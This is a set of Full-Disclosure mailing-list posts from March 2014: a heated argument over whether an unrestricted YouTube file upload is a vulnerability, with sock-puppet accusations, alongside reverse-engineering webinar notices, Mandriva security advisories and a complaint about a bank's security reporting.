Please stop changing hats, it's embarrasing. On Sat, Mar 15, 2014 at 7:36 PM, T Imbrahim timbra...@techemail.com wrote: Is this treated with the same way that says that Remote File Inclusion is not a security issue ? You don't follow? Implying ? I understand why nobody likes Google. If I 've found a vulnerability and been treated like that for trying to help, I would rather sell it to the black market or to some government. The NSA maybe is happy to buy a RFI on Google, im sure they could make good use of that. Google is very deceptive in security matters. --- lcam...@coredump.cx wrote: From: Michal Zalewski lcam...@coredump.cx To: timbra...@techemail.com Cc: pr...@yahoo.co.uk, full-disclosure full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC Date: Sat, 15 Mar 2014 10:59:40 -0700 A hacker exploits a JSON (javascript) object that has information of interest for example holding some values for cookies. A lot of times that exploits the same policy origin. The JSON object returned from a server can be forged over writing javascript function that create the object. This happens because of the same origin policy problem in browsers that cannot say if js execution it different for two different sites. To be honest, I'm not sure I follow, but I'm fairly confident that my original point stands. If you believe that well-formed JSON objects without padding can be read across origins within the browser, I would love to see more information about that. (In this particular case, it still wouldn't matter because the response doesn't contain secrets, but it would certainly break a good chunk of the Internet.) JSONP is a different animal. /mz _ Are you a Techie? Get Your Free Tech Email Address Now! Visit http://www.TechEmail.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- “There's a reason we separate military and the police: one fights the enemy of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people.” ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
ROFL [image: Inline image 1] On Mon, Mar 17, 2014 at 11:07 AM, T Imbrahim timbra...@techemail.comwrote: What drugs are you on Pedro Ribeiro I wonder ...? I express my views, if you don't like don't watch them. You responses so far have only been assy speculations so don't tell me Im wrong , and please don't say thing like that. I don't know who the other people is, but what is true in security I support. Why you would Google my name ... ? Is the English language causing you ill effects? --- ped...@gmail.com wrote: From: Pedro Ribeiro ped...@gmail.com To: timbra...@techemail.com Cc: full-disclosure@lists.grok.org.uk, Michal Zalewski lcam...@coredump.cx, mvi...@gmail.com, gynv...@coldwind.pl Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC Date: Mon, 17 Mar 2014 09:24:08 + On 16 Mar 2014 23:36, T Imbrahim timbra...@techemail.com wrote: The thread read Google vulnerabilities with PoC. From my understanding it was a RFI vulnerability on YouTube, and I voiced my support that this is a vulnerability. I also explained a JSON Hijacking case as a follow up, and you said you didn't follow. So I am just saying that treating security that way, there are other parties like NSA who welcome them happily. I think these guys - Alfred, Kirschbaum and Imbrahim are the OP's sock puppets. They are all first time posters from unusual free email providers jumping to defend the OP out of nowhere. If you search Google for their emails you only find references to this thread. They present similar (false and /or incorrect) arguments, talk about their extensive work experience, bash Google and its security team and send repeated emails with exactly the same text. This is turning into a madhouse... I hope this guy doesn't have access to a gun. Regards Pedro -- Are you a Techie? Get Your Free Tech Email Address Now! Visit http://www.TechEmail.com -- “There's a reason we separate military and the police: one fights the enemy of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people.” inline: 10iceb6.jpg___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
What drugs are you on Pedro RibeiroI wonder...?I express myviews, if you don't like don't watch them. You responses so farhave only been assy speculations so don't tell me Im wrong, and please don't say thing like that. I don't know who the other peopleis,but what is true in security I support. Why you would Google my name ... ?Is the English language causing you ill effects? --- ped...@gmail.com wrote:From: Pedro Ribeiro ped...@gmail.comTo: timbra...@techemail.comCc: full-disclosure@lists.grok.org.uk, Michal Zalewski lcam...@coredump.cx, mvi...@gmail.com, gynv...@coldwind.plSubject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoCDate: Mon, 17 Mar 2014 09:24:08 + On 16 Mar 2014 23:36, "T Imbrahim" timbra...@techemail.com wrote: The thread read Google vulnerabilities with PoC. From my understanding it was a RFI vulnerability on YouTube, and I voiced my support that this is a vulnerability. I also explained a JSON Hijacking case as a follow up, and you said you didn't follow. So I am just saying that treating security that way, there are other parties like NSA who welcome them happily. I think these guys - Alfred, Kirschbaum and Imbrahim are the OP's sock puppets. They are all first time posters from unusual free email providers jumping to defend the OP out of nowhere.If you search Google for their emails you only find references to this thread. They present similar (false and /or incorrect) arguments, talk about their extensive work experience, bash Google and its security team and send repeated emails with exactly the same text. This is turning into a madhouse... I hope this guy doesn't have access to a gun. Regards Pedro Are you a Techie? Get Your Free Tech Email Address Now! Visit http://www.TechEmail.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Ooh goodie, where and what happened to N3td3v, he used to crack me up :D :D On 3/17/14, Mario Vilas mvi...@gmail.com wrote: ROFL [image: Inline image 1] On Mon, Mar 17, 2014 at 11:07 AM, T Imbrahim timbra...@techemail.comwrote: What drugs are you on Pedro Ribeiro I wonder ...? I express my views, if you don't like don't watch them. You responses so far have only been assy speculations so don't tell me Im wrong , and please don't say thing like that. I don't know who the other people is, but what is true in security I support. Why you would Google my name ... ? Is the English language causing you ill effects? --- ped...@gmail.com wrote: From: Pedro Ribeiro ped...@gmail.com To: timbra...@techemail.com Cc: full-disclosure@lists.grok.org.uk, Michal Zalewski lcam...@coredump.cx, mvi...@gmail.com, gynv...@coldwind.pl Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC Date: Mon, 17 Mar 2014 09:24:08 + On 16 Mar 2014 23:36, T Imbrahim timbra...@techemail.com wrote: The thread read Google vulnerabilities with PoC. From my understanding it was a RFI vulnerability on YouTube, and I voiced my support that this is a vulnerability. I also explained a JSON Hijacking case as a follow up, and you said you didn't follow. So I am just saying that treating security that way, there are other parties like NSA who welcome them happily. I think these guys - Alfred, Kirschbaum and Imbrahim are the OP's sock puppets. They are all first time posters from unusual free email providers jumping to defend the OP out of nowhere. If you search Google for their emails you only find references to this thread. They present similar (false and /or incorrect) arguments, talk about their extensive work experience, bash Google and its security team and send repeated emails with exactly the same text. This is turning into a madhouse... I hope this guy doesn't have access to a gun. Regards Pedro -- Are you a Techie? Get Your Free Tech Email Address Now! Visit http://www.TechEmail.com -- There's a reason we separate military and the police: one fights the enemy of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people. -- -- Gichuki John Ndirangu, C.E.H , C.P.T.P, O.S.C.P I.T Security Analyst and Penetration Tester jgichuki at inbox d0t com {FORUM}http://lists.my.co.ke/pipermail/security/ http://chuksjonia.blogspot.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Hi, The only probable way of exploiting it I can see would be if the servers at Google where the files are uploaded would perform some specific tasks with such files that could result in exploiting a vulnerability in any of the used software (and this is something the discoverer failed to probe). An example: Google malware scans the uploaded file with some AV engine and the file is actually an exploit targeting one or more AV products. I don't think this is the case and, even in this case, there wouldn't be any Google's vulnerability but, rather, a vulnerability in another product from another company. So, in short: this conversation is stupid. There is no vulnerability we can see here and, if there is, it cannot be probed by the discoverer and he and his buddies attach to either ad hominem arguments or to statements like I am XXX with YYY years of experience doing ZZZ mistakenly thinking it could back any of their paranoias. What else do we need to discuss here? I think it's time to stop this conversation. And, yes, I know that sending an e-mail to ask for stopping a conversation on FD is stupid too. Regards, Joxean Koret signature.asc Description: This is a digitally signed message part ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Hey, At least to me I am security paranoid. Remote File Inclusion of files to a trusted network, seems like a well backed up vulnerability. I think we are talking about Google here not your favourite's pizza website. I personally congratulate to the author for finding it, whether probing it or not. And I have nothing to do with the authors, just supporting what is right. I definitely would patch my computer if I discovered that somebody could upload files to my computer, even thought if couldn't 'probe' them. --- joxeanko...@yahoo.es wrote: From: Joxean Koret joxeanko...@yahoo.es To: full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC Date: Mon, 17 Mar 2014 12:27:27 +0100 Hi, The only probable way of exploiting it I can see would be if the servers at Google where the files are uploaded would perform some specific tasks with such files that could result in exploiting a vulnerability in any of the used software (and this is something the discoverer failed to probe). An example: Google malware scans the uploaded file with some AV engine and the file is actually an exploit targeting one or more AV products. I don't think this is the case and, even in this case, there wouldn't be any Google's vulnerability but, rather, a vulnerability in another product from another company. So, in short: this conversation is stupid. There is no vulnerability we can see here and, if there is, it cannot be probed by the discoverer and he and his buddies attach to either ad hominem arguments or to statements like I am XXX with YYY years of experience doing ZZZ mistakenly thinking it could back any of their paranoias. What else do we need to discuss here? I think it's time to stop this conversation. And, yes, I know that sending an e-mail to ask for stopping a conversation on FD is stupid too. Regards, Joxean Koret ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ _ Are you a Techie? Get Your Free Tech Email Address Now! Visit http://www.TechEmail.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Especially considering that all three use Tor to post on the list. I wonder why. Other header/content details can be interesting as well... 2014-03-17 10:24 GMT+01:00 Pedro Ribeiro ped...@gmail.com: On 16 Mar 2014 23:36, T Imbrahim timbra...@techemail.com wrote: The thread read Google vulnerabilities with PoC. From my understanding it was a RFI vulnerability on YouTube, and I voiced my support that this is a vulnerability. I also explained a JSON Hijacking case as a follow up, and you said you didn't follow. So I am just saying that treating security that way, there are other parties like NSA who welcome them happily. I think these guys - Alfred, Kirschbaum and Imbrahim are the OP's sock puppets. They are all first time posters from unusual free email providers jumping to defend the OP out of nowhere. If you search Google for their emails you only find references to this thread. They present similar (false and /or incorrect) arguments, talk about their extensive work experience, bash Google and its security team and send repeated emails with exactly the same text. This is turning into a madhouse... I hope this guy doesn't have access to a gun. Regards Pedro ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
On Mon, Mar 17, 2014 at 2:25 PM, T Imbrahim timbra...@techemail.com wrote: I definitely would patch my computer if I discovered that somebody could upload files to my computer, even thought if couldn't 'probe' them. 1) I don't think you understood the meaning of the word probe in this context, Nikolas, 2) Does that mean you believe Dropbox is vulnerable to remote file upload too? -- “There's a reason we separate military and the police: one fights the enemy of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people.” ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Few Hrs left Webcast Reminder: Garage4Hackers Ranchoddas Series 2 on Reverse Engineering
Few hr Left to Start Webcast. Data, data, data! I can't make bricks without clay Thanks you member of Mailing List for registering for Garage4hacker'shttp://www.garage4hackers.com/showthread.php?t=5875p=13159Ranchoddas Series. Below are details for the online presentation. *Speaker*: Gynvael Coldwind http://gynvael.coldwind.pl/?lang=enid=528 - Google Security Engineer and Dragon Sector Team Captain. *Date*: Monday, March 17, 2014 *Time* (Switzerland/EU aka UTC+01:00 aka CET aka GMT +1:00): 18:00 *Time* (IST aka GMT +5:30): 22:30 *Time *(other places): http://www.timeanddate.com/worldclock/fixedtime.html?iso=20140317T1700 *Duration*: TBD, but something between 45-60 minutes + time for questions *Video Event Link: * http://www.garage4hackers.com/pages.php?pageid=4 https://plus.google.com/events/c2pujg5a29fmem01lo615eio8a8 We suggest to use good internet connection to avoid video lags and use HD quality to avoid blur. *Q/A* : For Questions and answers please join our IRC: http://www.garage4hackers.com/pages.php?pageid=3 For saving time in sorting of questions kindly submit the question starting with [Q] Ex. [Q] What book should be refereed for x86 assembly language? *Main Sponsors *: http://www.hitb.in/ *Waxspace - Shared Web hosting * http://waxspace.com *If you have not used Youtube Live Stream before, then do not worry it is similar as watching videos on the Youtube. If you require technical assistance with webcast , please contact sand...@garage4hackers.com Kind Regards, Garage4Hackers http://garage4hackers.com https://www.facebook.com/pages/Garage4Hackers/138904662794635 https://twitter.com/garage4hackers ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
On 17 Mar 2014 13:39, Źmicier Januszkiewicz ga...@tut.by wrote: Especially considering that all three use Tor to post on the list. I wonder why. Other header/content details can be interesting as well... Good catch, I didn't even remember checking the headers. Have a look at the comments posted in the softpedia article - I can smell more dirty socks in there. And for even more fun read his interview: http://m.softpedia.com/softpedia-interview-nicholas-lemonias-on-satellite-communication-vulnerabilities-420589.html He even posted it to this list but no one noticed it: http://marc.info/?l=full-disclosurem=139076233105401w=2 2014-03-17 10:24 GMT+01:00 Pedro Ribeiro ped...@gmail.com: On 16 Mar 2014 23:36, T Imbrahim timbra...@techemail.com wrote: The thread read Google vulnerabilities with PoC. From my understanding it was a RFI vulnerability on YouTube, and I voiced my support that this is a vulnerability. I also explained a JSON Hijacking case as a follow up, and you said you didn't follow. So I am just saying that treating security that way, there are other parties like NSA who welcome them happily. I think these guys - Alfred, Kirschbaum and Imbrahim are the OP's sock puppets. They are all first time posters from unusual free email providers jumping to defend the OP out of nowhere. If you search Google for their emails you only find references to this thread. They present similar (false and /or incorrect) arguments, talk about their extensive work experience, bash Google and its security team and send repeated emails with exactly the same text. This is turning into a madhouse... I hope this guy doesn't have access to a gun. Regards Pedro ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Let's try some scenarios and if those can be pulled out then I'd say it's safe to assume this is an issue: 1. Upload a webshell (in a war, php, asp[x], jsp or similar file) and have it executed by YouTube; 2. Upload a malicious file (pdf, swf, jar or similar file which exploits a known or unknown vulnerability in the respective aps) and have it served by YouTube; 3. Upload a file which alters the behavior of the YouTube application (i.e., a configuration file, HTML or Javascript template, even a UI image). Otherwise you just uploaded a file which went into a bitbucket, but you have no way of pulling this file out of said bitbucket in a way that can cause harm to either the application or its users. Should YouTube restrict file uploads to known valid mime types? Sure, but that's only how you got the data in there to begin with. It's what happens after the data is in that will make all the difference. On Mon, Mar 17, 2014 at 10:47 AM, Mario Vilas mvi...@gmail.com wrote: On Mon, Mar 17, 2014 at 2:25 PM, T Imbrahim timbra...@techemail.comwrote: I definitely would patch my computer if I discovered that somebody could upload files to my computer, even thought if couldn't 'probe' them. 1) I don't think you understood the meaning of the word probe in this context, Nikolas, 2) Does that mean you believe Dropbox is vulnerable to remote file upload too? -- “There's a reason we separate military and the police: one fights the enemy of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people.” ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- “If debugging is the process of removing software bugs, then programming must be the process of putting them in.” - *Edsger Dijkstra* ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [ MDVSA-2014:062 ] webmin
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ___ Mandriva Linux Security Advisory MDVSA-2014:062 http://www.mandriva.com/en/support/security/ ___ Package : webmin Date: March 17, 2014 Affected: Business Server 1.0, Enterprise Server 5.0 ___ Problem Description: Multiple vulnerabilities was discovered and corrected in webmin: Multiple XSS, CSRF, and arbitrary code execution vulnerabilities that impact Webmin versions prior to 1.620 (CVE-2012-2981, CVE-2012-2982, CVE-2012-2983, CVE-2012-4893, SA51201). The 1.680 version fixed security issues that could be exploited by un-trusted Webmin users in the PHP Configuration and Webalizer modules. The Authen::Libwrap perl module used by Webmin is also being provided. The updated packages have been upgraded to the 1.680 version which is not vulnerable to these issues. ___ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2981 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2982 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2983 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-4893 https://wiki.mageia.org/en/Support/Advisories/MGASA-2013-0125 http://advisories.mageia.org/MGASA-2014-0132.html http://www.webmin.com/changes.html ___ Updated Packages: Mandriva Enterprise Server 5: b76972171f63033b2f329e6490976419 mes5/i586/perl-Authen-Libwrap-0.22-0.1mdvmes5.2.i586.rpm ac443c2645558464be805b492db9baeb mes5/i586/webmin-1.680-0.1mdvmes5.2.noarch.rpm 4b77afd5678423a573747acd179fa239 mes5/SRPMS/perl-Authen-Libwrap-0.22-0.1mdvmes5.2.src.rpm cd4fb9d6f928dc92f5430ec9a085620e mes5/SRPMS/webmin-1.680-0.1mdvmes5.2.src.rpm Mandriva Enterprise Server 5/X86_64: c3caa33d699773dc6e425c6363c6df8f mes5/x86_64/perl-Authen-Libwrap-0.22-0.1mdvmes5.2.x86_64.rpm 8140d6c7b10d0d09daeb3e31991b mes5/x86_64/webmin-1.680-0.1mdvmes5.2.noarch.rpm 4b77afd5678423a573747acd179fa239 mes5/SRPMS/perl-Authen-Libwrap-0.22-0.1mdvmes5.2.src.rpm cd4fb9d6f928dc92f5430ec9a085620e mes5/SRPMS/webmin-1.680-0.1mdvmes5.2.src.rpm Mandriva Business Server 1/X86_64: 9c2db8945efb78cb14b62bf684c3ac8a mbs1/x86_64/perl-Authen-Libwrap-0.220.0-2.mbs1.x86_64.rpm fbf3cbaf7c38211734c7e194478266a4 mbs1/x86_64/webmin-1.680-1.mbs1.noarch.rpm 9ab9a3275bfc6c78087d948d9d6dd499 mbs1/SRPMS/perl-Authen-Libwrap-0.220.0-2.mbs1.src.rpm c1b87681dfd413012e0867c8109629ac mbs1/SRPMS/webmin-1.680-1.mbs1.src.rpm ___ To upgrade automatically use MandrivaUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandriva for security. You can obtain the GPG public key of the Mandriva Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandriva Linux at: http://www.mandriva.com/en/support/security/advisories/ If you want to report vulnerabilities, please contact security_(at)_mandriva.com ___ Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Mandriva Security Team security*mandriva.com -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.12 (GNU/Linux) iD8DBQFTJuP1mqjQ0CJFipgRAhC+AJ9DRGJv63JJDYj1aOq2dGQ4gYtsJwCgl4VQ E51kan9dXAlHxnPVzflibaY= =MQUx -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
On Mon, Mar 17, 2014 at 3:11 PM, Ulisses Montenegro ulisses.montene...@gmail.com wrote: Should YouTube restrict file uploads to known valid mime types? Sure, but that's only how you got the data in there to begin with. It's what happens after the data is in that will make all the difference. At this point I'm not even sure the data isn't being restricted - it just may be that the data type is checked again after it gets pulled out of the queue for processing, and if it's not a video it gets discarded. -- “There's a reason we separate military and the police: one fights the enemy of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people.” ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Garage4Hackers Ranchoddas Series - Part 2 on Reverse Engineering - Free Webinar
Hello all, There is less than 1 hour now remaining for the start of the webinar. Catch it at http://www.garage4hackers.com/pages.php?pageid=4 QA will handled through : 1. IRC at #g4h on freenode 2. @garage4hackers on twitter 3. mail to sand...@garage4hackers.com On Fri, Mar 7, 2014 at 5:35 PM, Sandeep Kamble sandeepk.l...@gmail.comwrote: Dear all, Garage4Hacker invites you to join us for a webinar titled Data, data, data! I can't make bricks without clay by Gynvael Coldwind - Google Security Engineer and Dragon Sector Team Captain. For Registration, please fill the following form. https://docs.google.com/forms/d/1L3-...RlNdI/viewformhttps://docs.google.com/forms/d/1L3-Wy49WZx97Aqujm5uRIjrLu02s9mTp20QVXjRlNdI/viewform Detailed Information about event : http://www.garage4hackers.com/showthread.php?t=5875 Reverse Engineering is an art more than science. From the realms of vulnerability discovery to debugging for internals, reverse engineers are a rare breed with the ability to think backwards in the chain of events. Discovering the technological principles of a device, object, or system through analysis of its structure, function, and operation. With the growth of exploit development and rise of malware attacks, reverse engineering is becoming a key area to study. *What to expect:* The presentation would revolve more around the approaches taken in RE than usage of tools. It will be focused on various practical tips and tricks that can speed up the process of reverse-engineering. The presented information will not be strictly tied to any specific platform or tool - most of it can be applied on any architecture or operating system. *Examples of topics:* - how to start with an unknown architecture - debugger scripting - creating your own useful tools - etc *Prerequisites:* - some reverse-engineering experience or general interest in reverse-engineering - basic programming skills - basic knowledge of how the CPU and operating systems work Kind Regard, Garage4Hackers Team Http://garage4hackers.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Bank of the West security contact?
Just wanted to post a follow-up to this and provide some context to make it known: * Bank of the West was contacted in 2011 to report a security issue * No response for 2 years * In late 2013, I receive a breach notification saying my own sensitive personal information was compromised via the EXACT SAME ISSUES I REPORTED. I also am led to believe employee information was compromised, which may include Social Security Number (SSN) details. Conclusions? * Bank of the West has NO WORKING SECURITY REPORTING MECHANISM for outside researchers and NO BUG BOUNTY PROGRAM * Bank of the West does not seem to take security and privacy seriously enough, as far as I can tell You should know this if you are an existing or potential customer / employee of Bank of the West... On Fri, Feb 7, 2014 at 9:27 PM, Kristian Erik Hermansen kristian.herman...@gmail.com wrote: Anyone have security contact at Bank of the West? -- Kristian Erik Hermansen https://www.linkedin.com/in/kristianhermansen https://profiles.google.com/kristian.hermansen -- Regards, Kristian Erik Hermansen https://www.linkedin.com/in/kristianhermansen https://google.com/+KristianHermansen ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Bank of the West security contact?
On Mon, Mar 17, 2014 at 12:15 PM, Kristian Erik Hermansen kristian.herman...@gmail.com wrote: Just wanted to post a follow-up to this and provide some context to make it known: * Bank of the West was contacted in 2011 to report a security issue * No response for 2 years * In late 2013, I receive a breach notification saying my own sensitive personal information was compromised via the EXACT SAME ISSUES I REPORTED. I also am led to believe employee information was compromised, which may include Social Security Number (SSN) details. Conclusions? * Bank of the West has NO WORKING SECURITY REPORTING MECHANISM for outside researchers and NO BUG BOUNTY PROGRAM * Bank of the West does not seem to take security and privacy seriously enough, as far as I can tell You should know this if you are an existing or potential customer / employee of Bank of the West... The risk equations favor do nothing. Its cost effective to simply persue profits and not spend money on data security. If (when) they are breached, it only costs them the cost of a notification. In the US, that's the cost of bulk mail [0]. 46 states, DC, and Territories have Data Breach laws, and nearly none (none?) have any useful provisions for damages. [1] You can't recover for your time lost or services like credit monitoring. Every class action get tossed out [2]. I've never seen one go to court, and I've been watching them for years. In the US, the risk equations must be unbalanced (or swayed to favor of the consumer, who is the ultimate victim). That will take a policy change. However, that likely won't happen as long as corporate america and special interest purchase and trade politicians like sports trading cards. (I've been watching data breaches and responses for years because I got burned somehow and it cost me over 10K to fix in the 1990s. I never got a notification. I found out after I got sued for unpaid bills and the collection agencies contacted me). Jeff [0] http://pe.usps.com/businessmail101/rates/welcome.htm [1] State Security Breach Notification Laws, http://www.ncsl.org/research/telecommunications-and-information-technology/security-breach-notification-laws.aspx [2] Once Again, Clapper Defeats Data Breach Class Action, http://www.mondaq.com/unitedstates/x/294324/Data+Protection+Privacy/Once+Again+Clapper+Defeats+Data+Breach+Class+Action ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [ MDVSA-2014:063 ] x2goserver
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ___ Mandriva Linux Security Advisory MDVSA-2014:063 http://www.mandriva.com/en/support/security/ ___ Package : x2goserver Date: March 17, 2014 Affected: Business Server 1.0 ___ Problem Description: Updated x2goserver package fixes security vulnerability: A vulnerability in x2goserver before 4.0.0.2 in the setgid wrapper x2gosqlitewrapper.c, which does not hardcode an internal path to x2gosqlitewrapper.pl, allowing a remote attacker to change that path. A remote attacker may be able to execute arbitrary code with the privileges of the user running the server process (CVE-2013-4376). A vulnerability in x2goserver before 4.0.0.8 in x2gocleansessions has also been fixed. ___ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4376 http://advisories.mageia.org/MGASA-2014-0111.html ___ Updated Packages: Mandriva Business Server 1/X86_64: eb26c90fdc53040f10c6ad4d3064c7ee mbs1/x86_64/x2goserver-4.0.1.13-1.mbs1.x86_64.rpm b32edf4af4c0aff51dd1591f3f4c3f02 mbs1/x86_64/x2goserver-postgresql-4.0.1.13-1.mbs1.x86_64.rpm 26a1b81d443ad892848681b11895c28a mbs1/x86_64/x2goserver-sqlite-4.0.1.13-1.mbs1.x86_64.rpm a1d27787d6e4485a506f546c83700129 mbs1/SRPMS/x2goserver-4.0.1.13-1.mbs1.src.rpm ___ To upgrade automatically use MandrivaUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandriva for security. You can obtain the GPG public key of the Mandriva Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandriva Linux at: http://www.mandriva.com/en/support/security/advisories/ If you want to report vulnerabilities, please contact security_(at)_mandriva.com ___ Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Mandriva Security Team security*mandriva.com -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.12 (GNU/Linux) iD8DBQFTJwKJmqjQ0CJFipgRAlZ6AJ0R1xLuN7d3Ao2YrrBdFyJgkgZ1+wCdFgOE isX7M+xxxPX6l8OzKIh+Xtc= =prvi -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [ MDVSA-2014:064 ] udisks
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ___ Mandriva Linux Security Advisory MDVSA-2014:064 http://www.mandriva.com/en/support/security/ ___ Package : udisks Date: March 17, 2014 Affected: Business Server 1.0 ___ Problem Description: Updated udisks packages fixes security vulnerability: A flaw was found in the way udisks and udisks2 handled long path names. A malicious, local user could use this flaw to create a specially-crafted directory structure that could lead to arbitrary code execution with the privileges of the udisks daemon (root) (CVE-2014-0004). ___ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0004 http://advisories.mageia.org/MGASA-2014-0129.html ___ Updated Packages: Mandriva Business Server 1/X86_64: b7b8138c781ce706d35c803b68b0f95b mbs1/x86_64/udisks-1.0.4-7.1.mbs1.x86_64.rpm 5139fe402d636edb486c9a02082acfd8 mbs1/x86_64/udisks-devel-1.0.4-7.1.mbs1.x86_64.rpm bfd3cb6833dd91223e3dc8def514da07 mbs1/SRPMS/udisks-1.0.4-7.1.mbs1.src.rpm ___ To upgrade automatically use MandrivaUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandriva for security. You can obtain the GPG public key of the Mandriva Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandriva Linux at: http://www.mandriva.com/en/support/security/advisories/ If you want to report vulnerabilities, please contact security_(at)_mandriva.com ___ Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Mandriva Security Team security*mandriva.com -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.12 (GNU/Linux) iD8DBQFTJwPUmqjQ0CJFipgRAgKEAKDxYNKS5Yh7jtCAjbXQWl+4PGfY1ACeO5gP u89oyojMXd7Z6yhB1vhCp0Y= =YCx0 -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Garage4Hackers Ranchoddas Series - Part 2 on Reverse Engineering - Free Webinar
